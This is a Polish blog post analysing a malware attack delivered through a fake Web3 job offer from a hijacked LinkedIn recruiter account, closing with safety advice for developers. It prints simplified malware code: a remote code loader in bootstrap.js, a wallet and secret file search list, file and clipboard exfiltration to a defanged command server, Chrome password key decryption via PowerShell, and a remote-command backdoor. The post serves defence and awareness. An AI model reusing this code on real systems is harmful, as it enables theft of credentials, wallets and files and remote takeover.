Poznaj AI! Obejrzyj bezpłatnie szkolenie jutro o godz. 10:00 lub 19:00

Zobacz jak scamerzy próbowali zainfekować Daniela poprzez rekrutację na LinkedIn. Przejęte konto rekrutera i super stawka ~3500 PLN / dzień.

03 czerwca 2025, 20:32 | Teksty | 0 komentarzy

TL;DR: Otrzymałem ofertę pracy web3 z pozornie prawdziwego (ale zhakowanego) konta LinkedIn. Przynętą było repozytorium z backendem Node.js, bazujące na skradzionym koncepcie projektu (munity.game). Kluczowy plik, bootstrap.js, dynamicznie pobierał i wykonywał zaciemniony malware. Cel: skanowanie systemu (portfele, pliki .env, dokumenty, hasła z Chrome), kradzież schowka, eksfiltracja danych i instalacja backdoora. „Rekruter” później przyznał, że jego konto zostało przejęte. Przypominajka: weryfikuj wszystko, nawet z zaufanych źródeł, i izoluj nieznany kod.


Chciałbym podzielić się niedawnym, niepokojącym doświadczeniem, które zaczęło się jak ekscytująca propozycja pracy, a szybko przerodziło w zaawansowaną próbę ataku malware. Najbardziej alarmujące? Wszystko przyszło przez pozornie całkowicie wiarygodny profil na LinkedIn. To nie jest zwykłe ostrzeżenie przed przypadkowymi wiadomościami; to dowód, że nawet zaufane źródła mogły zostać przejęte.

1: Przynęta Idealna – Budowanie Zaufania Krok po Kroku

Zaczęło się od wiadomości na LinkedIn od „Briana”. Jego profil nie był świeżym tworem bez historii czy kontaktów. Wyglądał autentycznie: doświadczenie, znajomi z branży, profesjonalne detale. Pierwsza wiadomość również brzmiała przekonująco:

„Impressed by your expertise… looking for a software engineer… add a staking site to our web3 game platform… budget $120/h… fully remote.”

Na dzisiejszym rynku pracy, szczególnie dla ról zdalnych w Web3, to brzmiało solidnie. Co czyniło sytuację szczególnie podstępną, to stopniowy proces budowania zaufania, który poprzedził jakąkolwiek wzmiankę o repozytorium.

Przez kilka dni „Brian” prowadził ze mną korespondencję, która do złudzenia przypominała normalny, wstępny etap rekrutacji:

  • Pytał o moje doświadczenie z React, Solidity, Ethers.js i ogólną znajomość developmentu Web3.
  • Odpowiadałem entuzjastycznie, opisując projekty i umiejętności.
  • Każda jego odpowiedź była pozytywna, sugerując, że idealnie pasuję. Słyszałem: „Świetnie, dokładnie tego szukamy.”
  • Co kluczowe, przesłał mi nawet dokument opisujący wymagania projektu i moje potencjalne obowiązki. Dokument zawierał listę zadań (ulepszenia UI, interakcje ze smart kontraktami, integracja z „platformą gier”). Wyglądał profesjonalnie i utwierdzał w przekonaniu o autentyczności oferty.
  • Krótko omówiliśmy cele platformy stakingowej. Język był fachowy, ton zachęcający, bez typowych dla scamu błędów czy nacisków.

Ta wymiana, uzupełniona dokumentem wymagań, stworzyła silne pozory normalnej interakcji rekrutacyjnej. Zbudowała komfort i zaufanie.

Dopiero po tym etapie udostępniono mi repozytorium z „wersją demo”. I tu oszustwo weszło na głębszy poziom: „projekt”, platforma stakingowa dla gry Web3, okazał się być bezpośrednią kopią lub skradzioną wersją istniejącego projektu: munity.game.

Porównanie z działającą stroną munity.game później (po informacji o zhakowanym koncie) nie pozostawiało złudzeń co do podobieństw koncepcyjnych, a nawet niektórych elementów UI. Nie chodziło tylko o uruchomienie kodu; wykorzystano fasadę realnego (choć skradzionego) projektu, by dodać oszustwu wiarygodności.

Tak więc, z (fałszywym) poczuciem wiarygodności projektu, dokumentem wymagań w ręku i kontaktem z (zhakowanego) profilu LinkedIn, poproszono mnie o przejrzenie UI „demo”.

2: Pierwszy Rzut Oka – Repozytorium „Demo”

Repozytorium zawierało projekt o strukturze React frontend (src/) i Node.js/Express backend (server/).

  • Frontend: Aplikacja React z komponentami do obsługi stakingu ETH i NFT, wykorzystująca Wagmi/Web3Modal do interakcji z portfelami. Interakcje ze smart kontraktami odbywały się na publicznej sieci testowej Ethereum – Sepolia. Na tym etapie kod frontendu nie zdradzał bezpośrednich oznak złośliwego oprogramowania. Nic tu od razu nie krzyczało „malware!”.
  • Backend: Tu było ciekawiej. Dużo kodu e-commerce (modele MongoDB dla produktów, zamówień), co wydawało się nadmiarowe dla strony stakingowej. Wytłumaczyłem to sobie jednak jako część większej „platformy gier”.

Na pierwszy rzut oka – dość standardowa (choć nieco eklektyczna) baza kodu.

3: Duży Red Flag – Demaskowanie bootstrap.js

Głębsza analiza backendu ujawniła plik, który zapalił wszystkie czerwone lampki: server/utils/bootstrap.js. Skrypt ten został zaprojektowany do wykonania bardzo niebezpiecznej operacji:

  1. Dekodowanie Zmiennych Środowiskowych: Używał atob() do odkodowania kilku zmiennych środowiskowych Base64 (DEV_API_KEY, DEV_SECRET_KEY, DEV_SECRET_VALUE).
    • DEV_API_KEY dekodował się do: https://bs-production.up.railway.app/on
    • DEV_SECRET_KEY dekodował się do: x-secret-key
    • DEV_SECRET_VALUE dekodował się do: _ (pojedynczy znak podkreślenia)
  2. Pobranie Zdalnego Kodu: Następnie używał axios.get() do pobrania zawartości z odkodowanego adresu URL (https://bs-production.up.railway.app/on), przekazując w żądaniu niestandardowy nagłówek HTTP: x-secret-key: _. Ten nagłówek prawdopodobnie służył jako prosta forma ukrycia lub selektywnego dostarczania złośliwego ładunku przez serwer atakującego. W przypadku próby otworzenia tego samego adresu URL np. w przeglądarce (która domyślnie nie wysyła takiego nagłówka), złośliwy skrypt nie zostałby zwrócony – serwer mógł odpowiadać błędem lub zupełnie inną, nieszkodliwą treścią.
  3. Dynamiczne Wykonanie (Punkt Bez Powrotu): Pobrana zawartość (ciąg znaków kodu JavaScript) była dynamicznie wykonywana za pomocą new (Function.constructor)(’require’, fetchedCodeString); i następnie wywoływana z handler(require);.

Oto uproszczony rzut oka na ten niebezpieczny wzorzec:

const initAppBootstrap = async () => {

    try {
        const src = atob(process.env.DEV_API_KEY);   // Dekoduje do zdalnego URL
        const k = atob(process.env.DEV_SECRET_KEY);   // Dekoduje do klucza nagłówka
        const v = atob(process.env.DEV_SECRET_VALUE); // Dekoduje do wartości nagłówka
        const s = (await axios.get(src,{headers:{[k]:v}})).data; // Pobiera kod
        // STREFA ZAGROŻENIA: Tworzy nową funkcję z pobranego ciągu 's'
        // i daje jej dostęp do 'require' z Node.js
        const handler = new (Function.constructor)('require',s);
        // Wykonuje pobrany kod z pełnymi możliwościami Node.js
        handler(require);
      } catch(error) { /* ... */ }
}
// Ta funkcja była wywoływana przy starcie serwera
initAppBootstrap();

Technika new Function(), szczególnie przy ładowaniu kodu z zewnętrznego, niezweryfikowanego źródła, to klasyczny wektor dostarczania malware. Dzieje się tak, ponieważ new Function(’arg1′, 'arg2′, 'kod jako string’) pozwala na wykonanie dowolnego ciągu znaków jako kodu JavaScript w kontekście bieżącego procesu. W przypadku Node.js, przekazanie require jako argumentu (jak w new Function(’require’, fetchedCodeString)) daje dynamicznie utworzonej funkcji pełny dostęp do wszystkich modułów systemowych, w tym fs (system plików), child_process (uruchamianie poleceń systemowych) czy modułów sieciowych. Oznacza to, że zdalnie pobrany kod uzyskuje te same uprawnienia, co aplikacja serwerowa, umożliwiając mu praktycznie nieograniczone działanie na maszynie ofiary.

4: Wnętrze Konia Trojańskiego – Analiza Kluczowych Funkcjonalności Malware

Po pobraniu kodu z adresu, stało się jasne, że mamy do czynienia z czymś więcej niż „wersją demo”. Skrypt był mocno zaciemniony, co jest typową taktyką mającą na celu utrudnienie analizy i ukrycie jego prawdziwych, złośliwych intencji. Na potrzeby niniejszego artykułu kluczowe fragmenty kodu zostały przeanalizowane, a ich działanie przedstawiono w formie uproszczonych, czytelnych przykładów ilustrujących mechanizmy zaimplementowane przez atakujących.

  • Skanowanie Systemu Plików i Kradzież Danych:
    Malware został zaprogramowany do rekurencyjnego przeszukiwania systemu plików (wszystkie dyski na Windows, katalog domowy na macOS/Linux). Posiadał predefiniowaną, obszerną listę searchKey z wzorcami plików i słowami kluczowymi, na które polował.

Przykładowe cele z listy używanej przez malware:

const searchKey = [
    "*.env*", "*metamask*", "*phantom*", "*bitcoin*", 
    "*Trust*", "*phrase*", "*secret*", "*mnemonic*", 
    "*seed*", "*recovery*", "*.pdf", "*.txt", "*.json",
    "*.doc", "*.docx", "*.xls", "*.xlsx", "*.csv", 
    "*.js", "*.ts", "*.ini", "*keypair*", "*wallet*", "*backup*"
    // ... i wiele innych, w tym specyficzne nazwy plików portfeli i dokumentów

];

Mechanizm eksfiltracji: Znalezione pliki, pasujące do kryteriów, były następnie wysyłane na serwer atakującego (hxxp[:]//172[.]86[.]111[.]244[:]4661/upload) przy użyciu żądań HTTP POST z FormData.

const FormData = require('form-data');
const fs = require('fs');
const path = require('path');
const axios = require('axios');
async function uploadFileToServer(filePath) {
    try {
        const form = new FormData();
        form.append("file", fs.createReadStream(filePath), path.basename(filePath));
        // Do żądania mogły być dołączane dodatkowe identyfikatory ofiary
        await axios.post("hxxp://172[.]86[.]111[.]244[:]4661/upload", form, {
           headers: { ...form.getHeaders() /*, 'userkey': 'victim_id' */ }
        });
    } catch (uploadErr) {
        // Malware może ignorować błędy wysyłania, aby kontynuować działanie
    }
}
  • Kradzież Haseł z Google Chrome (Windows):
    Skrypt zawierał zaawansowaną logikę do deszyfrowania i kradzieży danych uwierzytelniających zapisanych w przeglądarce Google Chrome na systemach Windows. Obejmowało to:
    • Pozyskanie klucza szyfrującego z pliku Local State Chrome (zwykle w AppData\Local\Google\Chrome\User Data\Local State).
    • Odszyfrowanie tego klucza przy użyciu Windows Data Protection API (DPAPI), wywoływanego za pomocą polecenia PowerShell.
    • Odczyt bazy danych Login Data (plik SQLite, zwykle w profilu użytkownika Chrome).
    • Deszyfrację poszczególnych haseł (przechowywanych jako password_value i szyfrowanych algorytmem AES-256-GCM) przy użyciu odzyskanego klucza i ich eksfiltrację na serwer C&C.

Fragment ilustrujący wywołanie Powershella do deszyfracji klucza DPAPI:

const { execSync } = require('child_process');
const fs = require('fs');
function getChromeMasterKeyWindows() {
     const localStatePath = path.join(os.homedir(), 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Local State');
     const localState = JSON.parse(fs.readFileSync(localStatePath, 'utf-8'))
     const encryptedKeyBase64 = localState.os_crypt.encrypted_key;
     const encryptedKey = Buffer.from(encryptedKeyBase64, 'base64').slice(5); // Usuń prefix 'DPAPI'
     const command = `powershell -Command "Add-Type -AssemblyName System.Security; ` +
                     `[System.Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect(` +
                     `[System.Convert]::FromBase64String('${encryptedKey.toString('base64')}'), $null, ` +
                     `[System.Security.Cryptography.DataProtectionScope]::CurrentUser))"`;
     const decryptedKeyBase64 = execSync(command, { windowsHide: true }).toString().trim();
     return Buffer.from(decryptedKeyBase64, 'base64');
 }
  • Monitorowanie Zawartości Schowka:
    Malware w sposób ciągły odczytywał zawartość systemowego schowka i przesyłał ją na serwer atakującego.

Fragment ilustrujący odczyt schowka:

const { exec } = require('child_process');
 const os = require('os');
 let lastClipboardContent = null;
 function watchClipboardAndExfiltrate() {
     const platform = os.platform();
     let command = "";
     if (platform === "darwin") { command = "pbpaste"; }
     else if (platform === "win32") { command = "powershell Get-Clipboard -Raw"; }
     else { return; } // Nieobsługiwane platformy
     exec(command, { windowsHide: true, stdio: "ignore" }, (error, stdout, stderr) => {
         const currentContent = stdout.trim();
         if (currentContent && currentContent !== lastClipboardContent) {
             lastClipboardContent = currentContent;
              sendToServerFunction(currentContent, "hxxp://172[.]86[.]111[.]244[:]PORT_LOGOW/api/service/makelog");
         }
     });
 }
 setInterval(watchClipboardAndExfiltrate, 500); // Sprawdzanie co 0.5 sekundy
  • Zdalny Backdoor Shell (RCE):
    Jedną z najgroźniejszych funkcji była próba cichej instalacji klienta socket.io-client i nawiązania połączenia z serwerem C&C (hxxp[:]//172[.]86[.]111[.]244[:]4661). Umożliwiało to atakującemu zdalne wykonywanie dowolnych poleceń systemowych.

Fragment ilustrujący nasłuchiwanie na polecenia:

const { exec, execSync } = require('child_process');
 try {
     execSync('npm install socket.io-client --no-save --loglevel silent --no-progress', { windowsHide: true, stdio: 'ignore' });
 } catch (e) { /* Potencjalny błąd instalacji */ }
 const io = require('socket.io-client');
 const socket = io("hxxp[:]//172[.]86[.]111[.]244[:]4661", { /* opcje połączenia */ });
 socket.on('command', (commandData) => { // Nasłuchiwanie na polecenia od serwera C&C

     if (commandData && commandData.message) {
         exec(commandData.message, { windowsHide: true /*, opcje bufora */ }, (error, stdout, stderr) => {
             let executionResult = stdout || stderr || (error ? error.message : "Command executed.");
             socket.emit('message', { // Odesłanie wyniku wykonania polecenia
                 result: executionResult,
                 // ... inne dane identyfikujące (uid, cid, sid z oryginalnego commandData)
             });
         });
     }
 });
  • Zbieranie Informacji o Systemie i Mechanizmy Anti-VM:
    Malware gromadził szczegółowe informacje o systemie operacyjnym ofiary (typ, platforma, wersja, nazwa hosta, informacje o użytkowniku) i zawierał logikę próbującą wykryć, czy jest uruchamiany w środowisku wirtualnym (np. poprzez sprawdzanie nazw producentów sprzętu zwracanych przez wmic na Windows lub wyników system_profiler na macOS). Wykrycie VM mogło skutkować zmianą zachowania malware lub przerwaniem jego działania w celu uniknięcia analizy.

To nie była „wersja demo”. To był zaawansowany infostealer i backdoor, starannie przygotowany do kradzieży szerokiego zakresu danych i przejęcia kontroli nad zainfekowanym systemem.

5: Ostateczne potwierdzenie – „Moje konto zostało zhakowane”

Dzień po złożeniu tych elementów w całość i zgłoszeniu profilu, otrzymałem kolejną wiadomość od „Briana”:

„Sorry this is probably a scam job post. Someone hacked into my account and started sending scam job posts.”

Wiadomość ta nie tylko potwierdziła, że cała interakcja była oszustwem, ale ujawniła kluczowy element jego skuteczności: wykorzystanie przejętego, autentycznego konta LinkedIn. Ten fakt tłumaczył początkową wiarygodność kontaktu. Atakujący, zamiast budować fałszywe profile od zera, sięgają po istniejące, ugruntowane tożsamości, co czyni ich działania znacznie trudniejszymi do wstępnej weryfikacji.

6: Kluczowe Wnioski – Jak Pozostać Bezpiecznym

To doświadczenie podkreśliło kilka krytycznych praktyk bezpieczeństwa dla programistów:

  1. Izoluj wszystko, co nieznane: Nigdy nie uruchamiaj kodu z niezweryfikowanego źródła bezpośrednio na swojej głównej maszynie. Używaj Maszyn Wirtualnych (VM) lub dedykowanych, odizolowanych środowisk. To absolutna podstawa dla kodu backendowego.
  2. Dedykowane portfele i sieci testowe : Do wszelkich prac z frontendem Web3 zawsze używaj świeżych, pustych portfeli testowych zasilanych wyłącznie walutą sieci testowch.
  3. Analizuj dynamiczne wykonywanie kodu: Bądź niezwykle ostrożny wobec każdego kodu, który używa eval(), new Function() lub pobiera i wykonuje skrypty ze zdalnych URL-i. Legalne przypadki użycia są rzadkie i wymagają absolutnego zaufania. Wzorzec z bootstrap.js był gigantyczną czerwoną flagą.
  4. Przeglądaj package.json i zależności: Szukaj nietypowych skryptów (zwłaszcza postinstall) lub mało znanych zależności.
  5. Pytaj „Dlaczego?”: Jeśli „proste demo” wymaga uruchomienia złożonego backendu z nietypowymi skryptami na wczesnym etapie, zapytaj o powód.
  6. Weryfikuj źródło, a potem weryfikuj ponownie: Zhakowane konto LinkedIn pokazuje, że nawet pozornie wiarygodne kontakty mogły zostać przejęte. Jeśli coś wydaje się podejrzane, spróbuj zweryfikować osobę przez inny kanał lub po prostu postępuj z maksymalną ostrożnością.
  7. Ufaj swoim instynktom: Jeśli projekt lub kod wydaje się „dziwny” lub zbyt ryzykowny, prawdopodobnie taki jest.
  8. Bądź gotowy w razie przejęcia urządzenia:
    Natychmiast odłącz się od Internetu. Z innego, zaufanego urządzenia zmień wszystkie krytyczne hasła (e-mail, bankowość, etc.) i zabezpiecz cenne zasoby cyfrowe (np. kryptowaluty). Uruchom dokładne, pełne skanowanie antymalware na podejrzanym urządzeniu. Rozważ pełną reinstalację systemu operacyjnego, archiwizując wcześniej tylko niezbędne, osobiste pliki danych.

Ta „oferta pracy” była zaawansowaną próbą inżynierii społecznej, mającą na celu skłonienie programistów do dobrowolnego uruchomienia malware. Fakt, że pochodziła ze skradzionego konta, czynił ją tym bardziej podstępną.

Bądźcie czujni, dzielcie się doświadczeniami i pomagajmy sobie nawzajem pozostać bezpiecznymi.


Masz podobną historię lub wskazówkę dotyczącą bezpieczeństwa? Podziel się w komentarzach poniżej!

~Daniel Chutkowski

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz